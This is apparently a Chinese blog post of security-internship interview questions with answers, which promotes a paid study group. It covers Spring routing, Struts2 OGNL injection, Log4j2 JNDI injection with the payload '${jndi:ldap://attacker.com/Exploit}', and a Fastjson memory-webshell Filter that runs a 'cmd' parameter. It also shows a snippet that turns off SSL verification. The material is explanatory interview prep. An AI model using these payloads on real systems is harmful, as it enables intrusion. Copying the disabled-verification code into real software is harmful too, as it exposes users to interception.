长亭实习生一面。。。

详细的内容已经更新到咱们星球了。

网络安面试题库截止目前已更新78篇，近18w字，里面包含了网安的职业规划、面试准备篇幅、学习方向、求职名单、应届生面试题库、应届生笔试题库、国内外安全企业介绍、以及社会背调等。<a "https:="" href="https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486695&idx=1&sn=85fefa98f17e6f1f2dd745ef5a498a10&token=1860256701&lang=zh_CN&scene=21#wechat_redirect">16w字的面试经验文末有彩蛋

1 Spring Boot 路由表示方式

答案：
通过注解直接定义，如：

@GetMapping("/user/{id}")  
public User getUser(@PathVariable String id){ ... }  

2 其他路由表示方式

答案：

• 实现 WebMvcConfigurer 接口，重写 addViewControllers()。
• 旧版 Spring 使用 @RequestMapping 的 method 属性（如 method = RequestMethod.GET）。

3 路由注解统称

答案：
统称为 请求映射注解（Request Mapping Annotations）。

4 Mybatis 映射文件存放位置

答案：
默认在 src/main/resources/mapper/ 目录下，或通过 @MapperScan 指定包路径。

5 Struts2 相关经验

答案：
Struts2 漏洞多由 OGNL 表达式注入引起（如 S2-045）。需熟悉漏洞原理及 Payload 构造（如 %{#_memberAccess=...}）。

6. Python 爬虫跳过 SSL 证书验证

答案：
使用 requests 库时设置 verify=False，并禁用警告：

import requests  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
response = requests.get("https://example.com", verify=False)  

7. Log4j2 漏洞利用函数

答案：
关键函数为 lookup()，通过 jndi: 协议触发 JNDI 注入。攻击 Payload：

${jndi:ldap://attacker.com/Exploit}

8. JNDI 注入配合的协议

答案：

• RMI：动态加载远程类。
• LDAP：指向恶意服务器返回 Exploit 代码。
• DNS：用于信息泄露或探测漏洞存在性。
• IIOP（CORBA）：较少见，但可结合利用。

9. 通过 Fastjson 注入内存马

答案：
步骤：

1. 利用 Fastjson 反序列化漏洞：构造恶意 JSON，触发 JNDI 注入。
2. 加载内存马代码：远程类实现 ServletContainerInitializer，在 onStartup() 中注册 Filter。
3. Filter 内存马示例：

   publicclassEvilFilterimplementsFilter{  
   publicvoiddoFilter(ServletRequest req, ServletResponse res, FilterChain chain){  
   // 执行任意命令  
           Runtime.getRuntime().exec(req.getParameter("cmd"));  
       }  
   }  
   

4. 持久化：通过反射将 Filter 添加到 FilterChain，无需写入文件系统。